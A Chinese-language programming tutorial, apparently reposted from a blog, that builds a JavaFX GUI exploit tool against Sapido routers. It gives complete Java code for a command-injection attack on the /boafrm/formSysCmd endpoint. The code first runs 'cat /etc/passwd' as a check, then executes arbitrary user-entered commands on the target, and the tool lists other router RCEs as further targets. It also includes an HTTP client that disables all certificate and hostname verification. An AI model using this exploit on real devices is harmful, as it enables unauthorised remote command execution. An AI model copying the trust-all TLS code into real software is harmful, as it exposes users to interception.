JAVA-GUI工具的编写-----事件篇

news2024/7/6 19:40:49

上一节介绍了HTTP以及HTTPS请求,那么这里我们就接着讲解事件与请求联动。

关于POC以及EXP最大的区别就是,EXP是附带利用功能,而POC仅仅是检测功能,所以这里我们需要动起来,GUI小工具能用上的事件功能其实就两个,一个是下拉列表的事件,一个是按钮点击事件,我们接着看​

首先新增一个Sapido的类,用来默认测试命令执行漏洞,默认执行查看/etc/passwd命令,这里面其实可以写活的,用我上次讲的,给他接一个形参cmd用来接收命令参数,然后在检测的时候给他一个默认值,利用的时候重新调用这个方法,再给他一个新的实参,就可以达到我们的预期效果,但是没有太大的必要,这里为了方便我们的讲解,我们先这么写,然后在执行我们想要的命令的时候我会给大家介绍,如何把这个参数写活​

import org.jsoup.Jsoup;
import org.jsoup.nodes.Document;
import org.jsoup.select.Elements;

import java.net.URL;

public class Sapido {
    public static String Sapido(String target) throws Exception {
        URL url = new URL(target);  //new一下url
        String cmd_res = HttpRequest.http_post(url + "/boafrm/formSysCmd", "sysCmd=cat+/etc/passwd&apply=Apply&submit-url=/syscmd.htm&msg=");   //调用Http_Post请求,这里直接将参数写死了,执行查看passwd文件命令,其实这里可以写活,就是引用一个活的参数,一会在外面会介绍,这里先写死
        Document doc = Jsoup.parse(cmd_res);    //调用一下Jsoup库的parse方法,因为返回包格式是html表单,我们只需要取表单的某一个参数值
        Elements rows = doc.select("textarea[name=msg]");   //我们截取html表单textarea,名字msg的值,为什么是这个值,大家抓包看一下就知道了
        String tim = rows.text();   //转换一下格式类型
        return "执行结果如下:" + "\n" + tim;  //return一下
    }
}

我们返回我们的框架GUIDemo.java,我们需要新增如下代码

final String[] name = {null};   //用来对接下拉列表的值
        //设置下拉列表监听事件
        choiceBox.getSelectionModel().selectedIndexProperty().addListener(new ChangeListener<Number>() {

            public void changed(ObservableValue ov, Number value, Number new_value) {
                String ChoiceBox_Name = strings[new_value.intValue()];     //做一个变量接一下下拉列表的值
                textArea1.setText(strings[new_value.intValue()]);   //纯偷窥一下接受到的值
                name[0] = ChoiceBox_Name;   //赋值
            }
        });
        //添加按钮功能
        button.setOnAction(event -> {
            String url = textArea.getText();  //接收url
            boolean sapido = name[0].equalsIgnoreCase("Sapido RCE");    //直接用布尔类型对比参数是否与下拉列表的值相同
            if (sapido) {
                try {
                    String sapidotext = Sapido.Sapido(url); //调用Sapido类,将返回结果赋值给sapidotext变量
                    textArea1.setText(sapidotext);  //将sapidotext变量的值返回给textArea1
                    button1.setOnAction(event1 -> {
                        
                    });
                } catch (Exception e) {
                    textArea1.setText("未发现漏洞,或请求异常");
                }
            }else {
                textArea1.setText("未发现漏洞,或请求异常");
            }
        });

我们看一下漏洞检测效果
在这里插入图片描述

此时已经完成了POC的玩法,我们接下来实现EXP功能,自定义命令输入,其实就是在检测成功的基础上增加一个按钮功能,没错,就是执行按钮的功能

if (sapido) {
                try {
                    String sapidotext = Sapido.Sapido(url); //调用Sapido类,将返回结果赋值给sapidotext变量
                    textArea1.setText(sapidotext);  //将sapidotext变量的值返回给textArea1
                    button1.setOnAction(event1 -> {
                        String cmd = textArea2.getText();   //接收textArea2的命令
                        String command = String.format("sysCmd=%s&apply=Apply&submit-url=/syscmd.htm&msg=", cmd);  //字符串替换命令
                        try {
                            String Run = HttpRequest.http_post(url + "/boafrm/formSysCmd", command);    //调用一下
                            Document doc = Jsoup.parse(Run);
                            Elements rows = doc.select("textarea[name=msg]");
                            String tim = rows.text();
                            textArea1.setText(sapidotext + "\n" + "执行结果如下:" + "\n" + tim);
                        } catch (Exception e) {
                            throw new RuntimeException(e);
                        }
                    });

我们看一下执行效果
在这里插入图片描述
肥畅nice,我们打包一下,爽一把
在这里插入图片描述
在这里插入图片描述

完整代码
GuiDemo.java

import javafx.application.Application;
import javafx.beans.value.ChangeListener;
import javafx.beans.value.ObservableValue;
import javafx.collections.FXCollections;
import javafx.scene.Scene;
import javafx.scene.control.Button;
import javafx.scene.control.ChoiceBox;
import javafx.scene.control.Label;
import javafx.scene.control.TextArea;
import javafx.scene.image.Image;
import javafx.scene.layout.AnchorPane;
import javafx.stage.Stage;
import org.jsoup.Jsoup;
import org.jsoup.nodes.Document;
import org.jsoup.select.Elements;

public class GuiDemo extends Application {      //创建一个GuiDemo类,GuiDemo继承Application类
    public void start(Stage GuiDemo) {          //创建一个无返回的start方法,Stage GuiDemo是JAVAFX里面的一个属性
        //设置title
        GuiDemo.setTitle("GUI小DEMO  by:vlan911 ");  //设置小工具的标题
        GuiDemo.setMaxWidth(700);   //设置小工具的最大宽度
        GuiDemo.setMaxHeight(500);  //设置小工具的最大高度

        //设置icon
        GuiDemo.getIcons().add(new Image("22.jpg"));    //设置GUI的小图标,图标需要放在classes目录下或是网上的在线图片

        //添加URL文字提示
        Label l = new Label("请输入URL");      //设置一个lable,用来显示提示文字
        l.setLayoutX(5);        //设置lable的横坐标
        l.setLayoutY(10);       //设置lable的纵坐标
        l.setPrefWidth(70);     //设置lable的宽度
        l.setPrefHeight(20);    //设置lable的高度

        //添加URL文本框
        TextArea textArea = new TextArea();     //添加一哥文本框,用来接收URL
        textArea.setLayoutX(75);        //设置文本框的横坐标
        textArea.setLayoutY(5);         //设置文本框的纵坐标
        textArea.setPrefWidth(220);     //设置文本框的宽度
        textArea.setPrefHeight(20);     //设置文本框的高度

        //添加下拉按钮
        String strings[] = {"Kyan RCE", "Sapido RCE", "Vigor 2960 RCE"};    //添加一个字符串数组
        ChoiceBox choiceBox = new ChoiceBox(FXCollections.observableArrayList(strings));    //添加一个下拉列表,内容就是上面的字符串数组
        choiceBox.setLayoutX(315);  //设置下拉列表的横坐标
        choiceBox.setLayoutY(10);   //设置下拉列表的纵坐标
        choiceBox.setPrefHeight(20);    //设置下拉列表的高度
        choiceBox.setPrefWidth(70);     //设置下拉列表的宽度

        //添加确定按钮
        Button button = new Button("确定");   //添加一个按钮
        button.setLayoutX(405);     //设置按钮的横坐标
        button.setLayoutY(10);      //设置按钮的纵坐标
        button.setPrefHeight(20);   //设置按钮的高度
        button.setPrefWidth(50);    //设置按钮的宽度

        //添加回显文本框
        TextArea textArea1 = new TextArea();        //添加一个回显文本框
        textArea1.setLayoutX(5);        //设置文本框的横坐标
        textArea1.setLayoutY(100);      //设置文本框的纵坐标
        textArea1.setPrefHeight(300);   //设置文本框的高度
        textArea1.setPrefWidth(500);    //设置文本框的宽度

        textArea1.setWrapText(true);    //设置文本框里的文字自动换行
        textArea1.setText("Kyan信息泄露漏洞\n" +
                "Kyan命令注入漏洞\n" +
                "Sapido命令执行漏洞\n" +
                "Vigor 2960命令执行\n" +
                "博华网龙RCE\n" +
                "西迪特WirelessRCE");


        //添加执行命令文字提示
        Label l1 = new Label("请输入命令");
        l1.setLayoutX(5);
        l1.setLayoutY(62);
        l1.setPrefWidth(70);
        l1.setPrefHeight(20);
        //添加命令文本框
        TextArea textArea2 = new TextArea();
        textArea2.setLayoutX(75);
        textArea2.setLayoutY(55);
        textArea2.setPrefHeight(20);
        textArea2.setPrefWidth(220);

        //添加执行按钮
        Button button1 = new Button("执行");
        button1.setLayoutX(315);
        button1.setLayoutY(62);
        button1.setPrefHeight(20);
        button1.setPrefWidth(50);

        textArea2.setText("请输入命令...");

        //添加一个pane,用来装填按钮等插件
        AnchorPane anchorPane = new AnchorPane();   //添加一个pane,用来装后面的小插件
        anchorPane.getChildren().addAll(textArea, choiceBox, button, l, textArea1, textArea2, l1, button1);  //调用getChildren方法的addAll方法,写死就行,括号里的就是我们添加的插件名字
        Scene scene = new Scene(anchorPane, 600, 700);  //社子和Pane的默认宽度、高度,不能超过设置的窗口临界值
        GuiDemo.setScene(scene);    //把窗口的属性填进去
        GuiDemo.show();    //显示窗口,否则运行的话是没有东西的

        final String[] name = {null};   //用来对接下拉列表的值
        //设置下拉列表监听事件
        choiceBox.getSelectionModel().selectedIndexProperty().addListener(new ChangeListener<Number>() {

            public void changed(ObservableValue ov, Number value, Number new_value) {
                String ChoiceBox_Name = strings[new_value.intValue()];     //做一个变量接一下下拉列表的值
                textArea1.setText(strings[new_value.intValue()]);   //纯偷窥一下接受到的值
                name[0] = ChoiceBox_Name;   //赋值
            }
        });
        //添加按钮功能
        button.setOnAction(event -> {
            String url = textArea.getText();  //接收url
            boolean sapido = name[0].equalsIgnoreCase("Sapido RCE");    //直接用布尔类型对比参数是否与下拉列表的值相同
            if (sapido) {
                try {
                    String sapidotext = Sapido.Sapido(url); //调用Sapido类,将返回结果赋值给sapidotext变量
                    textArea1.setText(sapidotext);  //将sapidotext变量的值返回给textArea1
                    button1.setOnAction(event1 -> {
                        String cmd = textArea2.getText();   //接收textArea2的命令
                        String command = String.format("sysCmd=%s&apply=Apply&submit-url=/syscmd.htm&msg=", cmd);  //字符串替换命令
                        try {
                            String Run = HttpRequest.http_post(url + "/boafrm/formSysCmd", command);    //调用一下
                            Document doc = Jsoup.parse(Run);
                            Elements rows = doc.select("textarea[name=msg]");
                            String tim = rows.text();
                            textArea1.setText(sapidotext + "\n" + "执行结果如下:" + "\n" + tim);
                        } catch (Exception e) {
                            throw new RuntimeException(e);
                        }
                    });
                } catch (Exception e) {
                    textArea1.setText("未发现漏洞,或请求异常");
                }
            }else {
                textArea1.setText("未发现漏洞,或请求异常");
            }
        });

    }

    public static void main(String[] args) {
        launch(args);
    }
}


HttpRequest.java

import okhttp3.*;

import javax.net.ssl.*;
import java.net.URL;

public class HttpRequest {
    //第一个方法是用来跳过证书校验环节的,是我copy过来的
    public static OkHttpClient getUnsafeOkHttpClient() {
        try {
            final TrustManager[] trustAllCerts = new TrustManager[]{
                    new X509TrustManager() {
                        @Override
                        public void checkClientTrusted(java.security.cert.X509Certificate[] chain, String authType) {
                        }

                        @Override
                        public void checkServerTrusted(java.security.cert.X509Certificate[] chain, String authType) {
                        }

                        @Override
                        public java.security.cert.X509Certificate[] getAcceptedIssuers() {
                            return new java.security.cert.X509Certificate[]{};
                        }
                    }
            };

            final SSLContext sslContext = SSLContext.getInstance("SSL");
            sslContext.init(null, trustAllCerts, new java.security.SecureRandom());
            final javax.net.ssl.SSLSocketFactory sslSocketFactory = sslContext.getSocketFactory();
            OkHttpClient.Builder builder = new OkHttpClient.Builder();
            builder.sslSocketFactory(sslSocketFactory);

            builder.hostnameVerifier(new HostnameVerifier() {
                @Override
                public boolean verify(String hostname, SSLSession session) {
                    return true;
                }
            });

            return builder.build();
        } catch (Exception e) {
            throw new RuntimeException(e);
        }

    }


    //因为更改了玩法,所以需要分开写post请求和get请求,这里的post请求我给他两个参数,
    // 分别是请求地址requestUrl以及请求body体outputStr,大家可以根据自己的实际需求增加,比如增加一个cookie,在get请求里会介绍
    public static String http_post(String requestUrl, String outputStr) throws Exception {
        //首先给一个全局变量resquestbody,用来接收返回结果
        String resquestbody = "";

        try {
            //实例化URL,给requestUrl赋给url参数
            URL url = new URL(requestUrl);
            //这里和第61行可以写一块,这么写仅仅是为了美观
            Request request = null;
            //这个与第63行可以写一块,这么写仅仅是为了美观
            RequestBody requestBody;
            //与StringBuilder有异曲同工之处,只可意会不可言传
            Request.Builder builder = new Request.Builder();
            //将请求的包加载进去,加载的时候必须跟上content-type属性
            requestBody = RequestBody.create(MediaType.parse("application/x-www-form-urlencoded"), outputStr);
            //这里面用的其实是httpok的request方法,builder.get()并不是说是get请求,而是用来获取里面的参数
            /*
             * url(url)  获取URL
             * post(requestBody)  post方法,获取方法体
             * addHeader("Cookie", "PHPSESSID=d383f6ut2i84pjsmmu2oceba16;")  添加一个cookie
             * */
            request = builder.get()
                    .url(url)
                    .post(requestBody)
                    .addHeader("Cookie", "PHPSESSID=d383f6ut2i84pjsmmu2oceba16;")
                    .build();

            //OkHttpClient okHttpClient = new OkHttpClient();
            //注意,这里 是关键,不用这个https的依然会报错
            OkHttpClient okHttpClient = getUnsafeOkHttpClient();
            Response response;
            try {
                //接收请求,没什么可说的
                response = okHttpClient.newCall(request).execute();
                //System.out.println(response.body().string());
                assert response.body() != null;
                //获取返回包的包体,和python挺像的,这里需要使用string()方法
                resquestbody = resquestbody + response.body().string();
            } catch (Exception e) {
                //log.error("发送同步-get请求发生异常:url={} ", e.fillInStackTrace());
                //System.out.println(e.getMessage());
                //如果执行出错了,会打印异常日志,他和上面的是一起的,如果try里的全执行了就不会跑到这,
                // 如果try里面执行了一半挂了,依然会跑到这。感兴趣的小伙伴可以自己试验一下
                resquestbody = e.getMessage();
            }
        } catch (Exception e) {
            e.printStackTrace();
        }

//        System.out.println(resquestbody);
        return resquestbody;
    }

    //为了方便演示,这里面给大家引入了一个新的session,其实就是如果我想把参数灵活起来用,应该怎么玩
    public static String http_get(String requestUrl, String session) throws Exception {
        //依然是先给一个全局变量
        String resquestbody = "";

        try {
            //实例化一个新的url
            URL url = new URL(requestUrl);
            Request request = null;
            Request.Builder builder = new Request.Builder();
            //老生常谈了,没啥可说的,cookie直接从局部变量接收就行,因为他是一个字符串,直接用也行
            request = builder.get()
                    .url(url)
                    .get()
                    .addHeader("Cookie", session)
                    .build();
            //OkHttpClient okHttpClient = new OkHttpClient();
            OkHttpClient okHttpClient = getUnsafeOkHttpClient();
            Response response;
            try {
                response = okHttpClient.newCall(request).execute();
                assert response.body() != null;
                resquestbody = resquestbody + response.body().string();

                //System.out.println(resquestbody);
            } catch (Exception e) {
                //log.error("发送同步-get请求发生异常:url={} ", e.fillInStackTrace());
                resquestbody = e.getMessage();
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        System.out.println(resquestbody);
        return resquestbody;
    }

}

Sapido.java

import org.jsoup.Jsoup;
import org.jsoup.nodes.Document;
import org.jsoup.select.Elements;

import java.net.URL;

public class Sapido {
    public static String Sapido(String target) throws Exception {
        URL url = new URL(target);  //new一下url
        String cmd_res = HttpRequest.http_post(url + "/boafrm/formSysCmd", "sysCmd=cat+/etc/passwd&apply=Apply&submit-url=/syscmd.htm&msg=");   //调用Http_Post请求,这里直接将参数写死了,执行查看passwd文件命令,其实这里可以写活,就是引用一个活的参数,一会在外面会介绍,这里先写死
        Document doc = Jsoup.parse(cmd_res);    //调用一下Jsoup库的parse方法,因为返回包格式是html表单,我们只需要取表单的某一个参数值
        Elements rows = doc.select("textarea[name=msg]");   //我们截取html表单textarea,名字msg的值,为什么是这个值,大家抓包看一下就知道了
        String tim = rows.text();   //转换一下格式类型
        return "执行结果如下:" + "\n" + tim;  //return一下
    }
}

router.java

public class router {

    public static void main(String[] args) {
        GuiDemo.main(args);
    }

}

pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>newrouter</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.83</version>
        </dependency>
        <dependency>
            <groupId>org.jsoup</groupId>
            <artifactId>jsoup</artifactId>
            <version>1.15.3</version>
        </dependency>
        <dependency>
            <groupId>com.squareup.okio</groupId>
            <artifactId>okio</artifactId>
            <version>1.16.0</version>
        </dependency>

        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-api</artifactId>
            <version>1.7.25</version>
        </dependency>
        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-simple</artifactId>
            <version>2.0.3</version>
            <scope>compile</scope>
        </dependency>

        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-nop</artifactId>
            <version>1.7.30</version>
        </dependency>
        <dependency>
            <groupId>com.squareup.okhttp3</groupId>
            <artifactId>okhttp</artifactId>
            <version>4.9.3</version>
        </dependency>
        <dependency>
            <groupId>com.squareup.okhttp3</groupId>
            <artifactId>okhttp</artifactId>
            <version>3.10.0</version>
        </dependency>

        <dependency>
            <groupId>com.squareup.okio</groupId>
            <artifactId>okio</artifactId>
            <version>1.13.0</version>
        </dependency>
        <dependency>
            <groupId>org.example</groupId>
            <artifactId>newrouter</artifactId>
            <version>1.0-SNAPSHOT</version>
        </dependency>
        <dependency>
            <groupId>org.openjfx</groupId>
            <artifactId>javafx-web</artifactId>
            <version>17.0.2</version>
        </dependency>

    </dependencies>

</project>

完整代码结构截图
在这里插入图片描述
打包截图
在这里插入图片描述
完结了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/65118.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【vue3】代码自动格式化和volar卡顿问题解决

一、格式化策略 用eslint做代码检查和格式化是很方便的东西&#xff1b; 这里我们使用vscode完成这些操作&#xff1b; 在代码保存的时候&#xff0c;顺便完成格式化操作 1)装上eslint和prettier插件 2)装完插件之后&#xff0c;我们需要配置一下 打开 文件 > 首选项 >…

为什么阿里巴巴建议HashMap初始化时需要指定容量大小?

为什么阿里巴巴建议HashMap初始化时需要指定容量大小&#xff1f; 为什么&#xff1f; 关于集合类&#xff0c;《阿里巴巴Java开发手册》中写道&#xff1a; 我们先来写一段代码在JDK 1.7 &#xff08;jdk1.7.0_80&#xff09;下面来分别测试下&#xff0c;在不指定初始化容量…

Docker harbor私有仓库部署与管理

Docker harbor私有仓库部署与管理Docker harbor私有仓库部署与管理一、Docker 私有仓库1、下载registry镜像2、修改配置文件/etc/docker/daemon.json &#xff0c;添加私有仓库配置&#xff0c;修改完后重启docker3、创建私有仓库容器4、推送镜像到私有仓库中5、查看当前仓库的…

使用 Lua 脚本和海康 VisionMaster 进行 TCP 通信

说明&#xff1a;因任务需求&#xff0c;需要进行海康VisionMaster服务端和Lua脚本客户端进行TCP通信传输数据。因为之前从未接触过Lua语言&#xff0c;所以也趁机学习一波。 内容Lua教程手册LuaSocket使用方法一方法二报错&#xff1a;“attempt to compare number with strin…

高级_09.性能分析工具的使用

第09章_性能分析工具的使用 1. 数据库服务器的优化步骤 当我们遇到数据库调优问题的时候&#xff0c;该如何思考呢&#xff1f;这里把思考的流程整理成下面这张图。 整个流程划分成了观察&#xff08;Show status&#xff09;和行动&#xff08;Action&#xff09;两个部分。…

Service详解「2」

Service详解「2」 文章目录Service详解「2」Service介绍kube-proxy目前支持三种工作模式:userspace 模式iptables 模式ipvs 模式Service类型Service使用实验环境准备ClusterIP类型的ServiceEndpoint负载分发策略HeadLiness类型的ServiceNodePort类型的ServiceLoadBalancer类型的…

407. 接雨水 II

给你一个 m x n 的矩阵&#xff0c;其中的值均为非负整数&#xff0c;代表二维高度图每个单元的高度&#xff0c;请计算图中形状最多能接多少体积的雨水。 示例 1: 输入: heightMap [[1,4,3,1,3,2],[3,2,1,3,2,4],[2,3,3,2,3,1]] 输出: 4 解释: 下雨后&#xff0c;雨水将会被上…

24节气- ||大雪|| 文案、海报分享,冬寒雪落,归家愈暖。

大雪降至 一年中最寒冷的时候也将到来 大家注意保暖防护 过个温暖的冬天吧&#xff01; 下面是我整理的关于大雪的文案、海报&#xff0c;希望对大家有帮助&#xff01; 更多设计素材免费下载&#xff1a; https://www.sucai999.com/?vNTYxMjky 01 大雪至&#xff0c;人…

跨越专业翻译的语言之墙:百度翻译的技术攀登

作为一个科技从业者&#xff0c;阅读AI顶会的最新论文、浏览国内外创新的最新动向&#xff0c;是我工作的重要部分。平时接触的开发者、科学家、企业研究人员等&#xff0c;工作生活中也涉及大量专业阅读。于是乎&#xff0c;我就会经常听到这样的抱怨&#xff1a;PDF格式的论文…

第42讲:MySQL数据库索引的基本使用规则以及在正确使用索引的方式

文章目录1.索引规则之最左前缀法则1.1.最左前缀法则的概念1.2.最左前缀法则的验证案例2.索引规则之范围查询3.使用索引时会导致索引失效的几种情况3.1.索引列使用运算导致索引失效3.2.索引列的值不加引号导致索引失效3.3.索引列模糊查询可能会导致索引失效3.4.OR连接条件使用不…

Excel中如何用计算公式或表达式直接计算出结果?

Excel中如何用计算公式或表达式直接计算出结果&#xff1f; 目录 Excel中如何用计算公式或表达式直接计算出结果&#xff1f; 1、例如&#xff1a;我们需要用E列的计算公式&#xff08;表达式&#xff09;&#xff0c;直接计算出结果填至F列 2、另一种方法&#xff1a;在菜…

什么是接口测试?接口测试的流程步骤

目录 一、什么是接口测试&怎么测 二、接口测试的好处 三、怎么做好接口测试 四、接口测试的原理 五、接口测试流程&用例设计 5.1.接口文档分析 5.1.1.接口构成图解 5.2.制定接口测试计划 5.3.编写接口测试用例&评审 5.3.1.接口测试用例模板 5.4.接口测试…

普通人如何不被 OpenAI 取代?

Datawhale干货 Tw93&#xff0c;前端工程师&#xff0c;Datawhale邀约作者知乎&#xff1a;https://www.zhihu.com/people/tw93Github&#xff1a;https://github.com/tw93今天试了试OpenAI的一些功能&#xff0c;通过主题来记录一下使用场景&#xff0c;发现了不少它强于普通人…

R语言缺失数据变量选择LASSO回归:Bootstrap重(再)抽样插补和推算

全文链接&#xff1a;http://tecdat.cn/?p30726在存在缺失数据的情况下&#xff0c;需要根据缺失数据的机制和用于处理缺失数据的统计方法定制变量选择方法。我们专注于可以与插补相结合的随机和变量选择方法的缺失方法&#xff08;点击文末“阅读原文”获取完整代码数据&…

nginx解析漏洞复现

学习积累&#xff1a; 存在该漏洞的原因&#xff1a;是一种用户配置不当造成的漏洞 这里我是部署了vulhub靶场 直接执行docker-compose up -d启动容器&#xff0c;无需编译。 造成该漏洞的配置条件&#xff1a; &#xff08;不受php、nginx的版本限制&#xff09; &#…

计算机毕业设计java基于springboot的在线动漫平台

项目介绍 开发语言:Java 开发工具:IDEA /Eclipse 数据库:MYSQL5.7 应用服务:Tomcat7/Tomcat8 使用框架:springbootvue 在线动漫信息平台主要是为了会员方便对动漫信息的了解以及查看今日论坛信息和查看热门动漫、文章专栏等信息&#xff0c;也是为了更好的让管理员进行更好存…

适合linux的软件

Konqueror Konqueror是KDE桌面系统的一部分&#xff0c;主要用于文件管理、各种格式档案的查看&#xff0c;以及网页浏览。它有以下区别于其它浏览器的优点&#xff1a; 支持用Firefox, Chrome打开网页丰富的快捷键功能Web浏览器, 文件浏览器于一体运行速度非常快, 快于Chrom…

Android -- 每日一问:两个 Fragment 之间如何进行通信 ?

知识点 先说一下 Fragment&#xff0c;中文可以叫片段&#xff0c;其实我们也可以把它理解成一个组件&#xff0c;它有自己的生命周期&#xff08;回调函数&#xff09;&#xff0c;可以组织UI和业务逻辑。但它不像 Android 的四大组件&#xff08;Activity, Service, Broadca…

Blend for Visual Studio 让XAML也可以像WinForm一样可视化设计,Blend 与Studio的区别

1.Blend独有的高级功能 任务Visual StudioBlend for Visual Studio更多信息设计可视状态没有可帮助你设计可视状态的工具&#xff1b;必须以编程方式创建它们。使用设计工具可基于其状态更改控件的外观。创建动画没有用于动画的设计工具&#xff1b;必须以编程方式创建它们。 …

《WEB安全漏洞100讲》(第4讲)CSRF漏洞

1.CSRF漏洞原理 CSRF(Cross-site request forgery)&#xff0c;跨站请求伪造&#xff0c;简写 CSRF/XSRF。指利用受害者尚未失效的身份认证信息&#xff08;cookie、会话等&#xff09;&#xff0c;诱骗其点击恶意链接或者访问包含攻击代码的页面&#xff0c;在受害人不知情的…